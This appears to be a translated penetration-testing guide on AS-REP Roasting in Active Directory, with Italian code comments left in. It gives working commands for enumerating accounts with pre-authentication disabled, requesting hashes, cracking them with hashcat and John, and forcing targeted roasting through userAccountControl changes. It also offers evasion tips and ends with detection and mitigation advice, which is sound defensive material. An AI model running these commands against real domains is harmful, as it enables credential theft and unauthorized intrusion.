AS-REP Roasting: Cracking Kerberos Hashes Without Credentials

AS-REP Roasting in Active Directory: Extract and Crack Kerberos Hashes Without Credentials #

AS-REP Roasting targets Active Directory accounts with Kerberos pre-authentication disabled. Anyone can request an AS-REP for these accounts—the response contains encrypted material with the user's password, which can be cracked offline. Unlike Kerberoasting, it works even without domain credentials ; a list of usernames is sufficient.

When an account has UF_DONT_REQUIRE_PREAUTH Once set, the Domain Controller responds to any AS-REQ request for that account without verifying the requester's identity. The AS-REP response contains encrypted data with the user's password hash—and that hash is crackable offline.

This method is particularly interesting because it doesn't require a foothold: if you have a list of valid usernames, you can test all accounts from outside the domain. No authentication is required.

An account with pre-authentication disabled is a hash waiting to be cracked. In Active Directory, this setting is often enabled for compatibility with legacy applications—and then forgotten.

Classified by MITRE ATT&CK as T1558.004.

Cheat Sheet — Main Commands #

In normal Kerberos authentication , the client sends an AS-REQ with a timestamp encrypted with its password—this is the pre-authentication mechanism. The DC verifies the timestamp and only then issues the TGT.

With pre-authentication disabled, the DC skips this check and responds directly with an AS-REP containing the TGT and a portion encrypted with the user's key (derived from the password). Anyone receiving that response can attempt to crack it offline.

Attack Flow:

Enumera account con pre-autenticazione disabilitata
(con o senza credenziali di dominio)
    ↓
Richiedi AS-REP per quegli account
    ↓
Estrai l'hash dal campo enc-part della risposta
    ↓
Crack offline con Hashcat (mode 18200/19800) o John
    ↓
Password in chiaro → movimento laterale o escalation

Prerequisites #

• List of valid usernames in the domain (for credential-less attack)
• Or: any authenticated domain account (for automatic enumeration)
• DC port 88 (Kerberos) reachability

Step 1 — Listing Vulnerable Accounts #

With credentials — enumerates the entire domain #

# Impacket — enumera e dumpa tutti gli hash in formato hashcat
impacket-GetNPUsers corp.local/utente:Password123! -dc-ip <DC_IP> \
  -request -format hashcat -outputfile asrep_hashes.txt

# Con NT hash invece della password (pass-the-hash)
impacket-GetNPUsers corp.local/utente -hashes :NThash -dc-ip <DC_IP> \
  -request -format hashcat -outputfile asrep_hashes.txt

# Output per John invece di Hashcat
impacket-GetNPUsers corp.local/utente:Password123! -dc-ip <DC_IP> \
  -request -format john | grep "\$krb5asrep\$"

# NetExec — più veloce su ambienti grandi
nxc ldap <DC_IP> -u utente -p Password123! --asreproast asrep_hashes.txt

# Rubeus da Windows — enumera e dumpa tutto
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt /nowrap

# Rubeus — formato John
Rubeus.exe asreproast /format:john /outfile:hashes.txt /nowrap

Rubeus can also perform AS-REP Roast from a machine not joined to the domain, because it communicates directly with the KDC via network — just specify /domain e /dc.

Without credentials — null session RPC #

In environments with null session RPC enabled, you can enumerate without any credentials:

# Null session — nessun utente, nessuna password
impacket-GetNPUsers 'corp.local/' -request -dc-ip <DC_IP> \
  -format hashcat -outputfile asrep_hashes.txt

Without credentials — username list #

When null session doesn't work but you have a list of usernames (from OSINT, SMTP enum, Kerbrute):

# Impacket — testa ogni username della lista senza autenticarsi
impacket-GetNPUsers corp.local/ -no-pass -usersfile usernames.txt \
  -dc-ip <DC_IP> -format hashcat -outputfile asrep_hashes.txt

To build the username list before the roast:

# Kerbrute — username enumeration senza credenziali
kerbrute userenum --dc <DC_IP> -d corp.local \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Environments with DNS (dc-host instead of dc-ip) #

# Utile quando il DC non risponde per IP ma risponde per hostname
impacket-GetNPUsers corp.local/utente:Password123! -dc-host DC01.corp.local \
  -request -format hashcat -outputfile asrep_hashes.txt

Single Target #

# Impacket — account specifico senza creds
impacket-GetNPUsers corp.local/ -no-pass -dc-ip <DC_IP> -user targetuser \
  -format hashcat

# Rubeus — target singolo da macchina non joined al dominio
Rubeus.exe asreproast /user:targetuser /domain:corp.local /dc:<DC_IP> \
  /format:hashcat /nowrap

Enumeration via BloodHound #

If you already have a BloodHound collection of the domain, you can find vulnerable accounts directly via Cypher queries, without touching the DC:

// Tutti gli account con pre-auth disabilitata
MATCH (u:User {dontreqpreauth:true})
RETURN u.name

// Solo account abilitati, con data ultima modifica password
MATCH (u:User)
WHERE u.dontreqpreauth = true AND u.enabled = true
RETURN u.name, u.pwdlastset

Useful for prioritizing targets before even launching the roast.

Step 2 — Crack Offline #

The AS-REP hash has formed $krb5asrep$<etype>$...The etype indicates the encryption type and determines the correct hashcat mode:

etype 23 (RC4-HMAC)      → hashcat mode 18200 / john --format=krb5asrep
etype 17/18 (AES128/256) → hashcat mode 19800 / 19900

In environments with AES enforcement (modern Kerberos, no legacy RC4) the hash will not be $krb5asrep$23$ — always check the etype in the hash before throwing the wrong mode, otherwise hashcat will never find a match.

# Hashcat — RC4 (mode 18200), wordlist base
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Hashcat — AES (mode 19800), wordlist base
hashcat -m 19800 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Hashcat — con regole (molto più efficace)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# John the Ripper
john --format=krb5asrep asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

AS-REP Targeted Roasting #

If you have GenericWrite on a user account you can temporarily disable pre-authentication, extract the hash, and re-enable it — making any account you have write access to roastable.

# PowerView — salva il valore UAC originale PRIMA di modificarlo
$originalUAC = (Get-DomainUser targetuser).useraccountcontrol

# Disabilita pre-auth sul target
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}

# Verifica
Get-DomainUser targetuser | Select-Object useraccountcontrol

# Esegui l'AS-REP Roast
Rubeus.exe asreproast /user:targetuser /format:hashcat /nowrap

# Riabilita pre-auth dopo il dump (XOR riporta al valore originale)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}

# Da Linux con bloodyAD
bloodyAD -u attacker -p 'Password123!' -d corp.local --host <DC_IP> \
  set object targetuser userAccountControl '4194304'

impacket-GetNPUsers corp.local/ -no-pass -dc-ip <DC_IP> -user targetuser

# Ripristina
bloodyAD -u attacker -p 'Password123!' -d corp.local --host <DC_IP> \
  set object targetuser userAccountControl '512'

This path is mappable via blood hound looking for edge GenericWrite on user objects.

Difference with Kerberoasting #

OPSEC #

• AS-REP requests without pre-auth do not generate Event ID 4771 (requiring pre-auth failed) — they are legitimate requests from a protocol perspective
• Request hashes one at a time with intervals if the environment has monitoring active — bulk requests from a single IP are detectable
• The attack without credentials It's even harder to correlate because there is no authenticated account logged in

Real Scenario #

You're on the internal network but don't yet have domain credentials. However, you do have a list of usernames collected via OSINT or SMTP enumeration.

1. Lanci impacket-GetNPUsers in no-pass mode with your list
2. One of the accounts — svc_legacy — responds with an AS-REP
3. Crack the hash in minutes: password Summer2023!
4. With those credentials you enter the domain and start the AD enumeration

From there you can switch to Kerberoasting to expand access to service accounts.

Detection #

🔴 HIGH:

• Event ID 4768 with Pre-Authentication Type: 0x0 — AS-REQ without pre-authentication. This is a direct signal of the attack.
• Many 4768 requests with pre-auth type 0x0 from the same IP in a short time

🟡 MEDIUM:

• Account with UF_DONT_REQUIRE_PREAUTH set — it is not an attack event but a misconfiguration to be eliminated
• Quick edit and restore of userAccountControl on a user account (targeted AS-REP Roasting signal)
• Event ID 4738 (User Account Changed) — track changes to userAccountControl; rapid disable/enable sequences on this field are the fingerprint of targeted AS-REP roasting

Mitigation #

• Enable pre-authentication on all accounts — this is the AD default and must be disabled manually. Check periodically with:

Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $true -and $_.Enabled -eq $true} | Select-Object Name

• Long passwords (>25 characters) on all service accounts — even if roastable, the crack becomes computationally unfeasible
• Monitor Event ID 4768 with pre-auth type 0x0 and generate immediate alerts
• Revisit with blood hound the edges GenericWrite on user objects to prevent Targeted AS-REP Roasting

FAQ #

Does AS-REP Roasting work from outside the domain? Yes, if port 88 is reachable and you have a list of usernames. You don't need to be joined to the domain or have valid credentials.

How common is it to find accounts with pre-auth disabled? More than you might think. It's often enabled for compatibility with legacy applications that don't support Kerberos pre-authentication—and it's rarely monitored or removed.

Is cracking impossible if the password is long? Not impossible, but highly impractical. With random passwords of 25+ characters and no dictionary patterns, cracking times on modern GPUs range from years to decades.

Conclusion #

AS-REP Roasting is often the first step in an engagement where domain credentials are not yet available. A single account with pre-authentication disabled and a weak password is sufficient to gain an authenticated foothold in the domain, from which to begin full AD enumeration.

Mitigation is simple and free: enable pre-authentication on all accounts and monitor 4768s with type 0x0. The challenge is knowing where to look—and that's where periodic audits and tools like BloodHound come in.

Resources:

• MITRE ATT&CK – T1558.004
• HackTricks – AS-REP Roasting